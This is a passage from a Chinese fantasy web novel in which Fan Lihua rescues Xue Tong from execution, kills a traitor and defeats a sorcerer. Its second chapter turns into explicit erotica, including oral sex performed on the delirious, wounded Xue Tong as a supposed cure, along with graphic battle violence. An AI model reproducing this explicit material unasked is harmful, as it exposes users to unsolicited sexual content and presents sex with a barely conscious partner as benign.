分享好友
    复制链接

    【女皇保卫战】

      作者:妖精
      出版:河图文化


      【第十一集】第一章:三打寒江关

      行刑的时刻马上就要到了,负责斩首的刽子手将已经磨得锐利的鬼头刀抽出来,阳光下,鬼头刀散放着骇人的光芒,窦仙童和薛清影的心情越来越紧张,薛桐将三人生死都寄託在樊梨花身上,她为何还没有出现呢?

      杨藩看了一眼时间,为了防止夜长梦多,他拿起令箭站起身来传令道:「行刑!」

      刽子手首先来到薛桐面前,端起一碗烈酒,喝了一口然后吐到刀口上,对着薛桐哈哈笑道:「小子,老子号称一刀仙,保证你死的时候一点感觉也没有。 」

      薛桐双眉紧锁,对窦仙童和薛清影说道:「两位贤妻,是我连累了你们。」

      窦仙童和薛清影唯有轻轻叹息,在刽子手举起雪亮的鬼头刀,手起刀落的一瞬间,一道寒芒飞过来,正好射中刽子手的眉心,刽子手的尸体顿时倒地。刑场顿时沸腾起来,负责看护刑场的士兵,全都惊恐地看向场内,一道亮丽的紫色身影飞跃人群来到刑场中央,来人正是樊梨花。

      杨藩怒道:「樊梨花你想干什么?薛桐乃是圣唐元帅,我们西越的死敌,难道你想劫法场,和我们西越作对不成?」

      樊梨花说道:「杨藩,昨天晚上我亲口告诉你,一切的恩怨都要等我父亲的死因查明之后才可定夺。你背着我抓了薛桐,又急着处斩他,是不是有什么不可告人的秘密瞒着我?」

      杨藩哼道:「我能有什么秘密,樊梨花你不要居功自傲,别忘了你本事再大也是西越的臣子,你现在所做之事,已经是欺君罔上的死罪。」

      樊梨花朗声道:「师父传我一身武艺,为的是我让斩妖除魔拯救苍生,我来寒江关出战唐军,只不过是为父报仇。我并非你杨藩手下的臣子,听不听你的话,还要看你做得对不对。」

      杨藩面孔一冷,「樊梨花,看来你是 敬酒不吃吃罚酒,来人啊,将她一起拿下。」

      杨藩的命令传出,那些西越士兵因为畏惧樊梨花的厉害,均不敢上前。樊梨花横眉冷视杨藩及一干手下,说道:「杨藩,昨日我已经查明,我父亲死前曾经服过剧毒,究竟谁是下毒之人?」

      杨藩道:「你问我我哪里知道?樊梨花,今日你我看来势同水火,你不要以为你的武功盖世,所有的人都会怕你!」

      杨藩取出素魂枪,就要上前迎战樊梨花,他觉得樊梨花没有了混元伞和诛仙剑,战斗力比自己高不到哪里去。

      「杨藩,你看看这里!」

      突然刑场外面一声厉喝,桑英带着药舖老闆走进刑场。

      「桑英?」

      杨藩惊恐地发现,说话之人竟是前两天突然失蹤的桑英,再看她一脸对自己痛恨不已的样子,心中顿时猜到大半,这小浪货八成背叛了自己。

      躲在暗处的樊纲,看到药舖老闆顿时大惊失色。派去杀人灭口的士兵没有回来,樊纲就意识到要出事,如今桑英领着药舖老闆出现,他一定会指认自己。樊梨花何等聪明,知道自己在药舖买了毒药,必然会猜到杀害樊洪的人正是自己。

      樊纲悄悄取出弓箭,对準药舖老闆一箭射去。桑英眼明手快,回手一剑斩断飞箭,厉声道:「樊纲,昨天你派人来杀这位药舖的老闆,正好被我救下,现在你还想杀人灭口吗?」

      樊纲吓得一哆嗦,正要开溜,樊梨花喝道:「站住!」

      刚才樊纲射箭的情况,樊梨花已经看到,只是她怎么也没想到,杀害父亲的兇手竟是自己的堂叔。

      樊纲吓得面色如土,战战兢兢地转过身,支支吾吾说道:「梨花,你不要相信他们,大哥不是我杀的。」

      樊梨花冷声道:「他们也没有指认你杀害我父亲,你这分明是此地无银三百两。还不给我从实招来。」

      桑英又道:「樊将军,当初杨藩指示樊纲和苏秦杀害你父亲的时候,我也在旁边亲耳听到,而今樊纲购买毒药的人证、物证我都为你带来,这位老闆的妻子和伙计,已经在昨天遭到樊纲灭口,还请樊将军明鉴!」

      这时,药舖老闆一把鼻涕一把眼泪地向樊梨花哭诉自己一家的不幸,樊梨花勃然大怒。杨藩看到事情败露,再也没法隐瞒,于是当机立断,传令道:「樊梨花私通圣唐,给我将她拿下!」

      突然之间,樊梨花身形疾跃到薛桐附近,挥手解开薛桐被锁的战魂,薛桐又帮助窦仙童和薛清影解开战魂。三人各自取出兵器,严阵以待。

      「抓住他们!」

      杨藩手提素魂枪率先沖去,西越国师邪皇也紧随杨藩身后包围上来。

      薛桐指挥窦仙童和薛清影应战杨藩,自己赶过来协助樊梨花对付邪皇。若是手中有混元伞和诛仙剑,樊梨花根本不惧怕邪皇,如今她也搞清楚,自己两件宝物一定是被杨藩派人偷走 ,要不然他怎么知道自己手上没有法宝。

      不过,儘管没有法宝护身,樊梨花的战斗力也不容轻视,邪皇不敢轻敌,一上来就用大招幻灭轰天雷轰向樊梨花,樊梨花也不甘示弱用仙雷风暴与之抗衡,两股强大的真气顿时碰撞在一起,发出震耳欲聋的轰鸣声。薛桐手持三尖两刃刀猛攻向邪皇的后路,邪皇挥掌发出一记火焰剑反斩向薛桐,薛桐横刀阻挡之际,竟被对方庞大的真力震得倒退三步。

      「樊梨花,老夫没时间跟你纠缠,看我的绝招!」

      邪皇的身形猛然高高飞起。

      「地藏星火令!」

      邪皇手中飞出六面颜色各异的小旗,分六个方位将樊梨花和薛桐包围在中间,随着他的一声大喊,六面小旗竟然发出灼热的火苗,呈六角形朝着二人包围过来,随着向前蔓延的速度不断加快,火苗也越烧越高。

      樊梨花心中一颤,她知道地藏星火令的厉害,自己若有诛仙剑在手,尚可迎接对方一击,而今该怎么办?薛桐身为圣唐元帅,之前当然也对邪皇有所了解,他从桑英那里得知,邪皇最厉害就是他的六面星火令旗,不过星火令旗属于一阶段法宝,每天只能使用一次,看来邪皇是想用这一招困住樊梨花。

      看到一直趋近的火焰,又看到樊梨花的忧虑的眼神,薛桐心道:「不行,我得救梨花,用我的怒龙狂啸抗住邪皇的地藏星火令,为她争取时间。 」

      一念及此,薛桐大喝一声,使出怒龙狂啸,三条护体金龙将他和樊梨花团团包围,樊梨花大惊道:「薛桐,你不是他的对手,快些收手,不然你会丧命的!」

      薛桐厉声道:「樊女侠,我们圣唐和这妖道势不两立,我宁可玉石俱焚!这妖道的地藏星火令只能使用一次,樊女侠切记你的杀父仇人是杨藩,不要管我,也不要和我们作对了!」

      薛桐大喝声中,腾出一条护体金龙,将樊梨花的身体裹起来丢了出去,与此同时,六面小旗也飞速旋转着包围过来,随着一声巨大如雷的爆炸声,薛桐血染沙场,赫然倒下。

      「薛桐?」

      樊梨花美目中噙满感激的泪水,心中默默呼唤着薛桐的名字,奋不顾身地冲上来逼退邪皇,扶起浑身是血的薛桐,说道:「薛桐你怎么这样傻啊!明明知道不敌,却非要逞强……」

      看到薛桐受伤,薛清影和窦仙童也无心恋战,围过来查看薛桐的伤势,见他强装笑容,气若游丝地说道:「梨花,我希望你能保护仙童和清影杀出去…… 」

      说完之后,双目一闭便没有了气息。

      「我跟你拼了!」

      窦仙童擦擦眼泪,拿起斩龙刃便朝着邪皇扑上去,拼死也要为丈夫报仇雪恨。

      就在这时,突然从人群外面冲入一人,对着樊梨花喊道:「小姐!小姐!」

      樊梨花看清来人正是樊纲府中的家将樊城,只见樊城一边喊一边取出一件长条状红绸包裹,朝着樊梨花便扔过来,樊梨花伸手接住,打开红绸一看,正是自己的混元伞,不由得喜出望外。这时候,樊城来到近前,擦着额头汗水说道:「小姐料事如神,这阵子你派我监视樊纲这个狗贼,果真被我发现他偷了小姐的混元伞,交给他的妻子藏起来,而且打算暗害小姐。于是我就杀了贼婆,为小姐把混元伞送来。」

      樊纲一听妻子被杀,恼羞成怒冲着樊城大骂:「你这吃里扒外的狗奴才,我要杀了你。」

      随后舞着宝剑就要杀樊城。

      樊梨花冷声道:「吃里扒外的是你这个败类!」

      言罢,混元伞高抛向半空中,诛仙剑在手,一溜电光横扫而出,樊纲身子还没有冲到近前,人头就飞出去十余丈远,无头死尸顿时栽倒在地。

      有了诛仙剑和混元伞,樊梨花如虎添翼,挥剑直取邪皇。邪皇的地藏星火令已经不能使用,他仰仗自己也是紫金战士,当即昇华所有战魂,凝聚全身幻灭真气,誓与樊梨花一决生死。

      樊梨花感觉到,邪皇布下的虚空劲气场有如细密的蜘蛛网,牢牢罩住自己全身,网状气场分成向外挤压和向内收缩两股劲力,向外挤压的劲力有如永无止境的狂风暴雨,从邪皇掌心扩散出来,分成三十六个攻击点不停击打在自己身外的护身气罩,而且三十六个攻击点随着邪皇双掌的移动,不停地改变攻击位置。为了一举击溃邪皇的幻灭真气,樊梨花凝聚所有战斗力,意欲与邪皇最后一搏。

      剎那间,樊梨花周围雷电密布,六柄擎天巨型冰剑随着她的真气凝结在她的身后。刚猛无比的仙雷风暴和虚空幻灭真气正面交锋的一剎那,立时爆出声声巨响,六把寒冰巨剑忽地横在樊梨花身前,随着她的诛仙剑一挥,六柄寒冰巨剑朝着邪皇直飞过来。与此同时,樊梨花唇齿微张,一声惊人的暴喝声如春雷绽放一般响起,「仙、雷、风、暴!」

      被六把寒冰巨剑紧紧锁住的邪皇,只觉得耳朵一阵刺痛,心神大受影响,身外护身真气立时减弱了三分。

      樊梨花双脚轻轻一点,整个人缓缓淩空升起,来到邪皇头顶上方三丈高之处,右手撑天、左手撑地,剎那间,天空中的雷电急速涌动,以极为惊人的速度汇聚到樊梨花左手掌心。只见樊梨花左掌掌心向外一翻,朝下方的邪皇轻轻一压,剎那之间,天空为之变色,大地同时震动起来,六把寒冰巨剑合併成一条白色冰龙,冰龙周身还夹带无尽的雷暴,朝邪皇直扑而下,声势之猛足以撼地动天,就连邪皇这种顶尖高手也不禁为之震撼,脸上终于露出惊恐的表情。

      生死关头,邪皇体内真气急速流转,幻灭劲十成功力全数汇聚到右掌之中,右手一 ,朝着淩空压下的冰龙一掌轰出,层层叠叠的炽热火劲破空而出,猛烈火劲转眼汇聚成一颗巨大的火球,直面迎击扑将而下的白色冰龙,冰、火两股真气,眨眼就碰撞在一起……樊梨花发出的白色冰龙,一口吞下邪皇发出的巨大火球,接着一声一声沈闷的爆炸声不停响起,冰龙的龙头当场炸开,龙头一碎,凛冽寒气和炽热火焰若水面涟漪一般,当即朝着四面八方迅速扩散。在两股劲力的袭捲之下,方圆五丈所有物体立时丽骨粉身,至少有四、五十名士兵因为这场爆炸命丧当场。

      冰龙的龙头虽然和幻灭劲的火球同时炸开,却是余劲未消,冰龙的龙身、龙尾仍以惊人的速度轰在邪皇身上,邪皇化解不了如此强大的攻势,当场发出一声惨叫。片刻之后,爆炸声慢慢停止,凛冽寒气却较先前更甚,并没有因此减弱。

      氤氲不绝的寒气之中,隐约可见邪皇的身影,只见邪皇立足之处早已炸出一处巨大深坑,邪皇高大的身体一动也不动地站在深坑之中,鲜血正从他的口鼻不断溢出;邪皇脸色苍白如纸,腹部遭诛仙剑剑气所化的冰龙刺伤,伤口正在不停涌出鲜血。杨藩不顾一切地冲了上来,抱起邪皇受伤的身体,召唤自己的极品坐骑,在一帮拼死护卫主人安全的死士保护之下,马上落荒而逃。

      樊梨花一心惦记薛桐的伤势,无心追赶邪皇。另一方面,一心追随樊梨花的寒江兵将开始交战,杨藩的嫡係部队没花费多少工夫就被清理乾净,场面立刻就被控制住……

      樊梨花再次查看薛桐的伤势,只见他紧闭双目,呼吸微弱,但是心跳还在。

      樊梨花看了看窦仙童,又看了看薛清影,轻叹一声,说道:「他遭到邪皇的地藏星火令重伤,要想救他,必须请我的师父梨山圣母相助,两位姑娘,事已至此,就让我们化干戈为玉帛,我现在就带薛桐前往梨山,晚了就来不及了。」

      窦仙童和薛清影都知道梨山圣母乃是当代绝世高手,如今薛桐身受重伤,恐怕无人能救,也只能随樊梨花的意思。二人向樊梨花一拱手,说道:「那就有劳樊姑娘。」

      樊梨花对手下几名副将说道:「如今真相大白,我的杀父仇人是杨藩,你们若是愿意跟我,就留下来帮忙镇守寒江关,等我回来班师杀向西越国都,取了杨藩的狗头。若是不愿意跟我,大家好聚好散,我给你们盘缠,大家各奔前程。」

      众将及众兵士齐声说道:「我们都愿意追随小姐,为樊老将军报仇!」

      樊梨花说道:「那好,我走了之后,你们和唐军的两位将军好好相处,将我父亲的尸骨妥善安葬,迎接城外的唐军进城,随后备好粮草,準备讨伐杨藩狗贼!」

      窦仙童说:「梨花妹妹,你放心去吧,这里就交给我们。」

      樊梨花点点头,这才召唤七星梅花兽,驮着薛桐直奔梨山找师父拯救薛桐。
      【第十一集】第二章:梨山收圣女

      梨山圣母正在日照峰上修炼,看到徒儿匆忙赶回来,身边还带着一名奄奄一息的男子,心中隐隐察觉二人非比寻常的关係。

      樊梨花跪倒在地,说道:「师父,薛桐为了救我被邪皇的地藏星火令所伤,如今命在旦夕,还望师父救他一命。」

      梨山圣母要樊梨花先起来,随即查看薛桐的伤势,说道:「这个男子的命好硬,中了邪皇的地藏星火令还能支撑这么久?梨花,他与你是什么关係? 」

      樊梨花脸上一红,低声说道:「只是普通朋友……」

      梨山圣母点点头,说道:「那这个人无药可救了。」

      樊梨花大惊,再次跪倒:「师父,求求您救救他吧!他是因为我而受伤的啊。」

      梨山圣母道:「不是为师见死不救,其中原委我必须跟你说清楚。地藏星火令的威力何其之大?而今此人全身经脉断了十之七八,我可以用我的仙舞真诀助他修复,但是……只怕修复之后,以他的修为不能承受我的仙舞真诀的余力,全身经脉怕会爆裂而开,除非……」

      樊梨花急道:「除非怎样?」

      梨山圣母说道:「除非有一名懂得仙舞真诀的女性,帮助他将他体内的仙舞真诀余力导引出来。」

      樊梨花不解地问:「师父,您能用仙舞真诀帮他修复经脉,难道就不能帮他将余力导出吗?」

      梨山圣母苦笑道:「傻徒儿,将余力导出,需要採用男女交合的方法,难道你希望师父佔有你的如意郎君吗?」

      樊梨花大惊,娇羞说道:「师父,您不要胡乱猜忌,我们……我们只是普通朋友。」

      梨山圣母大笑道:「梨花你就不用再骗我,还记得为师赠你的天王戒吗?你仔细看看它现在的样子,那枚戒指已经一分为二了。」

      樊梨花大惊,急忙伸出手,查看那枚天王戒,只见戒指果真出现异象,不知道什么时候,天王戒竟然分成两半,只是套在手指上所以没有发觉。

      梨山圣母说道:「天王戒一分为二,说明你找到真爱之人,从此以后,天王戒的威力将会慢慢体现出来,你现在就取下一枚为他戴上,为师也祝福你们一生恩爱、白头偕老。」

      樊梨花含羞取下另一半天王戒,帮薛桐戴到指上。随后,梨山圣母将薛桐带回自己的寝居,运用至尊无上的仙舞真诀为薛桐修补经脉。忙了整整一下午,直到傍晚时分,梨山圣母收功,对樊梨花说道:「晚上他就会醒来,今夜可能无事,明天却是十分关键,之后就要看你怎么做,你要随时準备献身,用仙舞真诀助他平安脱险。」

      樊梨花担心问道:「师父,弟子的功力尚浅,能行吗?」

      梨山圣母微笑道:「疏导仙舞真诀不需要深厚的功力,懂得行功方法即可,关键是你需要连续和他交欢,让他的龙阳全部射出。」

      樊梨花脸红道:「师父,徒儿愚昧,唯恐心有余而力不足啊。」

      梨山圣母也知道樊梨花守身如玉,对男女之事不过一知半解,让她像个熟妇引导薛桐,确实有点难为她,于是说道:「梨花,等会带你去学习、学习。」

      梨山圣母领着樊梨花来到一处石门,梨山圣母走上前去,在一块毫不起眼的石头上一推,传出几道轰鸣,石门往左右两边移动,不起眼的石头赫然是石门开关。

      「梨花,你跟我进来。」

      梨山圣母前面带路,师徒二人一起走进石门,只见石门之内是条甬道,连着一间密室,圣母又道:「这就是观星堂。」

      观星堂,顾名思义是将夜观星象所得的心得绘成图案,按易经命理、先天八卦、河图洛书等高深学问应用排列,记于观星堂中,堂中并无图书,只有壁画。

      壁画雕刻文字,深浅不一,篆隶有别,有些苍劲有古风,有些雄壮而豪迈。

      笔法不同,用字殊异,想是历代祖师所留,各人功力高下有别,钻研之意却无不同。

      樊梨花举目往壁上看去,立刻小脸发烫,满面通红,原来四壁都是文字图画,文字也罢,图画却是描绘男女交欢、巫山云雨之时的春宫图,描绘之人画工极佳,最隐秘的私处美穴、男子阳茎都是毛髮尽绘,栩栩如生,头一次看到这种露骨的春宫图,樊梨花顿时有些不好意思。

      梨山圣母微微一笑,说道:「这是祖师修炼双修神功的地方,你看这壁上图画,全是双修神功之妙法。如若不明其意,祖师还有东西让你瞧瞧。」

      她说着就向前走到一处置中石桌,双掌按捺其上,左右推动,当下桌面分开,破出一洞,洞中金光四射,光芒乱闪,天虹七色全数借反光映射在梨山圣母的脸上,忽暗忽明,闪烁不定。

      樊梨花惊讶一声,见梨山圣母不知按了什么装置,喀喀作响,绞轮转动,从石桌升起一颗较碗稍大的水晶球,水晶球底下有一台座,形如人手,与四下自石壁反射的柔和光线互相映榇,将洞中四壁的男女交欢图显现出来。光线折射将图刻映在水晶球中,球中显现的春宫图居然动了起来,将石壁男女交合的各种妙相、姿态、体位、毛髮、角度、男上女下抑或女上男下,甚至脸部表情、性器密合时所溢出的淫液水光无所遗露地忠实呈现在梨山圣母眼前,只要角度不同、光线强弱不一,便会呈现完全不同的交合姿势,仪态万变,无尽无穷。

      梨山圣母见樊梨花瞪大眼睛,直勾勾地看着水晶球出了神,微笑解释道:「这是本门祖师巧手妙制的合欢球,此球转动,便会将四壁上下的交欢图映射出来,你可别小看此球,以为只能用于闺房之乐,这些男女交欢的姿态各个不同,皆有妙用。修炼双修神功之时可以发挥妙用,除了提升练功男女的功力,更可增加男女交合的快感。」

      梨山圣母说着便扭动一下机关,水晶球开始转动,墙壁上的春宫画马上动了起来,画中男女栩栩如生,发出欢乐的淫声,听起来娇柔腻人,合欢姿势形形色色,看得樊梨花心火大盛,于是双腿夹紧,不由自主地摩擦动作,下身方便之处温热湿润,似有什么东西流出,黏稠滑腻,伸手想去擦,却又不敢。

      师父在前,若真伸手去擦,岂非显得自己淫蕩放浪?当下强忍小穴火热,硬撑下去。

      梨山圣母瞥眼瞧见樊梨花双腿摩擦之态,笑道:「梨花,你在这里好好学习一下,为师去外面等你,千万要记住,明天你需要用上这些秘笈,好好学习吧。」

      一直到隔日清晨,薛桐终于醒来,睁眼看到樊梨花陪在身边,这几日虽然昏迷不醒,但他知道自己现在一定是在樊梨花师父的梨山。见到薛桐醒了,樊梨花顿时大喜,她赶紧盛来熬好的小米粥,餵薛桐喝了一碗,薛桐轻声问道:「梨花,是你师父救了我吗?」

      樊梨花点点头道:「你的伤势还没有完全复原,千万不要妄动战魂。」

      薛桐知道自己得救,感激地向樊梨花看去,微光之下,樊梨花长得实在绝美,一双眸子尤其灵动,时而情深万缕,似无底深潭,时而英气焕发,意态昂扬,又带点迷离媚意,眼睛蒙上一层淡淡雾气,无从自她一对美眸中瞧出端倪。虽无秋水明眸清灵,却有勾魂摄魄的魅力,一种醇酒微醺,其香自发的妩媚。风吹秀发,青丝飘空,一时传来淡淡发香,不似寒梅幽兰,却是雍容玫瑰香。举手投足都有一股自然散发的性感风情……见薛桐目不转睛看着自己,樊梨花说道:「薛桐,我师父说了,今日才是你渡劫之日,唯有撑过今天,你的身体才会彻底恢复。」

      薛桐动了动手脚,不解问道:「可是我觉得现在没有什么不适啊!好像能下床走路了。」

      樊梨花说道:「中了邪皇的地藏星火令,你的奇经八脉全都断裂,师父用仙舞真诀帮你修复经脉,但残留在你体内的仙舞真诀余力,还是会危害你的身体。薛桐,你最好不要妄动战魂。」

      薛桐点点头,不禁伸手捉住樊梨花的一双玉手,只觉触感温润,说道:「梨花,谢谢你救了我。」

      说话之间,二人身体相触,对方香泽微闻,娇颜近在咫尺伸手可及,薛桐忍不住就想将樊梨花抱个满怀,搂在怀里温存……谁料,这一来正好引爆他心中的慾望,胯下龙枪也是略嫌胀疼,他立刻运气使之平复。

      樊梨花见薛桐连连吸气,脸上微泛红光,于是问道:「你怎么了?身体不舒服吗?」

      眼珠一转,瞧见薛桐胯下裤裆高起,她冰雪聪明,虽然未经人事,却马上明白薛桐的身体反应,随后想起师父嘱咐她要用仙舞真诀与薛桐合体双修,导引出他身上的残余之力。樊梨花心想自己早晚都是他的人,却还是忍不住脸红。

      薛桐看着樊梨花娇羞模样,不禁看得癡了,只觉眼前樊梨花倍加迷人,双眼若水,眼角微翘,小嘴艳红泛光,似笑非笑。水汪汪大眼撒出重重情网,意欲捉住薛桐这条大鱼……或明艳娇媚、或清纯端庄,这些原本分属不同美人的特质,竟然一起在樊梨花身上出现,散发出无限吸引力,在在引诱着薛桐。

      薛桐忍不住右手一圈,将她搂在怀中。樊梨花嘤咛一声,似拒还迎,整个人小鸟依人顺势倒在薛桐怀中。火热的胴体、美豔的脸庞,樊梨花吐气如兰,香气阵阵,熏得薛桐意乱情迷。他的手臂一紧,感觉樊梨花凹凸有致、秾纤合度的身体和自己紧紧相贴,于是全身汗毛竖了起来,毛孔全数张开,享受女体磨身,软玉温香抱在怀的无边艳福……他低头瞧着被自己紧抱、不住吐气的樊梨花,只见她表情慵懒,星眸半开半闭,柔情地与薛桐四目交接,说是幽怨,却又情火熊熊,浑身发烫;说是妩媚,却又清雅柔顺,驯若绵羊。一双眼 睛好像会说话似的,只是一个眼神、一个浅笑便有勾魂摄魄的魔力,令人心甘情愿拜倒在她的石榴裙下。

      薛桐越看越爱,心头火热。见她鲜红欲滴、光泽流转的朱唇樱口发出阵阵热力,忍不住便想低头吻下,一亲芳泽。樊梨花也在此时柔声叫了一声:「薛桐!」

      娇吟柔腻,好像是个火引,把薛桐意欲爆发的情慾全麵点燃,再也控制不住,双唇印在樊梨花的嘴上,双臂如铁箍似的将樊梨花紧紧圈在自己怀里。樊梨花被薛桐双唇亲上,心中爱意横流,全身更是热得烫人,一双玉臂用力从后颈绕抱薛桐,身体主动贴上与薛桐刚健的身体摩擦。好一会儿,两人才四唇分离,薛桐见樊梨花一张芙蓉玉面红通通的,看上去可爱至极,正要夸讚几句,突然觉得体内翻江倒海,脐下丹田穴猛地一阵跳动,热气油然而生,渐渐在他的奇经八脉中运转起来。他耳中清楚听到自己扑通扑通的心跳,胸腔明显感到因心跳加快而发出的震荡,涟漪一般扩大,转眼传遍全身。

      薛桐连连吸气,想将自己的心跳平息下来,「啊,我好热!」

      樊梨花猜到薛桐伤势发作,当务之急,唯有与他成就夫妻之事。

      发烫的薛桐大吼一声,双臂一挥,身上衣裳当即碎裂,化成飞蝶片片,漫空飘舞,又如花朵缤纷,千朵万朵地落了下来……薛桐只觉胯下龙枪胀得酸疼火热,又长又硬,好像一条不断灌气的香肠,真气源源不绝想要冲出体外。他的龙枪已经胀到极限,不能再大,真气却是一发不可收拾,在体内到处碰撞,好似藏有禁锢神龙,正要破土而出,飞腾九天。下体又胀又痛的感觉,彷彿龙枪随时会断成两截,爆出血花,恨不得一掌劈下,将它斩断了事,免受胀痛、火热煎熬之苦。

      薛桐觉得自己的龙枪不断跳动,火热灼人,阴部气味受热力蒸腾,散播开来,浓厚的体味,淫靡的异香,引得他心生蕩漾,难过至极,直想找个女人好好发洩,浪蕩淫娃也好、小家碧玉也罢,只要是女人就可以,至于美丑胖瘦、高矮老幼,那是全然不管……脑海被热气一沖,薛桐双眼圆睁,却是视野模糊,好像人在雾中,眼前只是白濛濛一片。

      「梨花,我看不到了?」

      薛桐大喊,心中一阵慌乱,赶紧提神抵挡热流的袭击,但是体内真气灼热四散,发出的烈劲几欲要将皮肤烧融,化成炼狱火海。薛桐不禁大惊,极力想将乱窜的真气导回正途,却是不能自已,只要片刻疏忽,便会陷入万劫不复。薛桐苦苦支撑,耳中突听樊梨花惊呼道:「薛桐,你要撑住,我马上来助你!」

      薛桐明白自己已经走火入魔,当下对耳边樊梨花焦急的呼叫置若罔闻,汗珠自额头、下巴、脸颊、耳朵涔涔落下,全身皮肤出汗,身体又红又湿,隐隐发出水光,好似涂了一层油,覆盖全身上下。

      濛濛眬眬、迷迷糊糊之中,陡然下身龙枪一热,彷彿被一团嫩肉包住,又温又暖、又柔又软,一条物事带着温热的湿气以及略感滑腻的黏水,蛇一般在自己的龟头上面舔舐,偶尔,包住自己龙枪的嫩肉会使出或急或缓的吸力,弄得薛桐飘飘欲飞,胯下东西不再像先前那么胀疼,虽说仍是胀得难受,但比起方才龙枪禁锢破牢的冲动,已经是舒服太多。

      下体一凉,阴囊一紧,似乎被人用手握住,十指纤纤,在他的龙枪根部、阴囊袋上轻抹徐捏,力道不轻不重,恰到好处。龙枪棒身也被另一只柔嫩细緻的玉手轻摸爱抚,来回套动,只要被那手来回套动一下,龙枪的烫热烈灼之感便会减一分。薛桐忍不住急喘发声,啊啊数声,鼻音浊重,脸上红光闪闪,不由自主地挺动龙枪,在那团嫩肉的紧紧包裹之下抽插。薛桐全身的感觉集中在胯下龙枪之上,身体其他部位火烧的痛苦便相对显得不那么难受,说也奇怪,只是被嫩肉一缠,套住薛桐的龙枪紧吸,薛桐身体便能渐渐适应仙舞真诀带来的巨大痛苦。

      薛桐愈是挺动龙枪在那团嫩肉中抽插,身体上的痛苦愈是减少一分,只不过抽插嫩肉的感觉与美女交合的感觉不同,有时会被什么坚硬的东西撞了一下、咬了一下,虽然没有交合时龙枪被美穴整个紧紧夹住的快感,但适时的硬物相撞、四下嚼咬,更能将充满龙枪的能量释放出来,实是另一种滋味,也是异样的享受。

      薛桐体内的真气得到抒发,龙枪热度稍减,原本昏沈沈的脑子也因至尊真气与仙舞真诀的内功合而为一,逐步恢复清明,只觉得整个身子飘蕩蕩的,似浮似沈,如在梦中。正感舒爽之时,最敏感的下身龙枪突然被嫩肉紧紧束住,嫩肉深处发出的吸力不断在他的尿道口猛汲,一股奇强的吸力把他弄得酸麻无比,龙枪不住跳动,尿道口的唇瓣连续张开,龙枪棒身被人用手指徐刮,骤胀骤消。那人双手十指非常灵活,能精确地控制薛桐龙枪的胀消大小,加以安抚刺激。

      薛桐「啊」的一声,语音闷响浓浊、鼻息咻咻,加上胸口起伏、心跳怦然,全身肌肉紧缩,后背弓起、真阳蠕动,精关已快把持不住。就在这时,背后促精穴一麻,被人 一指点中,脊髓一凉,再也守不住元阳倾泻,精关大开,白浓浓的黏稠精液猛然冲出。射精之后,薛桐力气骤失,像洩了气的皮球,身子往后无力躺在床上,四肢放开,连动一动眼皮的力气也没有,只能躺在床上不停喘气,心脏评件急跳,怦然有声。

      樊梨花救薛桐,用在石壁春宫图学来的阳春三法为薛桐口交,还让他的精液射了自己满嘴,不小心吞了些许入腹,一念及此,玉面便是羞红烫人,耳垂都是发红、发热。薛桐得知樊梨花不计前嫌地救了自己,对自己进行口交,对她更是感激,禁不住要坐起身子道谢,樊梨花却说道:「你的身体尚未恢复,如今我们已经有了夫妻之实,希望你能够善待为妻,另外你我还需运用仙舞真诀进行两次以上的交欢,才能确保体内仙舞真诀的残余真力对你再也无害。」

      薛桐感动之余,伸出双臂将她抱住,软玉温香抱在怀,胸口被她高挺且弹力十足的丰胸抵住,又温又软,只觉一道热气自丹田升起散开,情慾隐动。樊梨花一袭紧身紫衣,衣服将自己紧紧包住,露出异常火辣的傲人身材,她的胸口双峰坚挺,柳腰纤细,臀部在紧身衣袍的衬託之下,显得十分高翘,又圆又挺。这下子娇躯在抱,玉乳纤腰贴上身来,只要是男人没有不动心,何况樊梨花长得美艳绝伦,娇颜媚诱之下,薛桐哪里忍得住?彷彿怀抱一只火炉,又热又烫,薛桐端起她的下巴,低头吻了下去,双腿也如螃蟹双螯钳上,紧紧缠住樊梨花的下身,双膝自两侧斜抵樊梨花的美臀,阴部紧贴她的身体厮磨,胯下阳物已然高举,不时触弄樊梨花双腿之间,似要寻穴而入,来个翻江倒海,巫山云雨一番。

      樊梨花被他弄得浑身躁热,双臂索性环在薛桐颈上,专心与他打起舌战。薛桐将舌头探入樊梨花口中,与樊梨花的香舌互搅,津液相通,两条嫩舌如深潭游鱼一般追逐嬉戏,相缠互绞,早尽温柔。右手更不客气地在樊梨花背上轻抚徐刮,渐渐往下在樊梨花的圆臀上面不断摩挲。樊梨花难过之际,身子蠕动,高翘的美臀不由得扭动起来,似是在回应薛桐的爱抚。薛桐见樊梨花并不排斥,双手在樊梨花的背、臀上抚摸足够,意犹未尽,缓缓顺着樊梨花的曲线向上爱抚,最后到达樊梨花的胸口,握住美乳,五指略一用力,手指便陷了进去,轻轻旋动起来。

      两人四唇分离、四目交投,情焰熊熊,丝毫不比两人方才接吻缠绵来得稍弱。

      尤其樊梨花在薛桐爱抚之下觉得浑身躁热,彷彿体内有把火正在熊熊燃烧。

      双峰又挺又鼓,好似充满乳计,胀得非常难受,只要一捏就会渗出水来,美乳沈甸甸急需抚慰。薛桐美乳一握正是时候,稍稍解除樊梨花玉乳鼓胀之苦,当下忍不住娇吟一声,樱唇吐气,如麝如兰的香气拂在薛桐脸上,令薛桐更加兴奋。薛桐索性更加大胆,手指急动就解开樊梨花的前襟衣扣。衣扣方解,薛桐的手已经急不可待地滑入樊梨花的紫衫之内,手掌触到是一片柔腻的温热肌肤,忍不住五指一抓,拇指、食指撚住樊梨花的乳尖,轻轻撚动,引得樊梨花欲焰高涨,自动献身。

      樊梨花娇喘吁吁,双臂一用力,立刻引得薛桐身子一翻,整个人压在樊梨花身上。她媚眼如丝,发出一阵阵电波往薛桐的身上勾引,整个人就像温润的大磁铁,紧紧地将薛桐吸住,不令他离开。薛桐美女在抱,下身龙枪胀得非常难过,樊梨花不用言语,只靠双目勾魂产生的诱惑,已经令人心醉神迷 、无比难耐。薛桐略嫌粗暴地脱掉樊梨花的上衣,露出两只圆滚滚,鼓胀坚挺的玉峰,乳头上的似红晕如玫瑰花瓣呈现淡红色。薛桐忍不住身子挺起,半跪坐地坐在樊梨花的双膝上,双手自然而然往前捉住樊梨花的美乳玩弄起来。胯下的龙枪也是一柱擎天,急需他人抚慰。

      薛桐心念一转,伸手握住樊梨花的玉手,将之放在自己的龙枪上,低声道:「梨花,你既然已经用你的小嘴帮过我,就行行好,再帮我一次吧?」

      樊梨花被他坐在身上,起身不得,当即玉颜红热,又喜又羞,横了他一眼,娇声道:「薛桐你真是得寸进尺!」

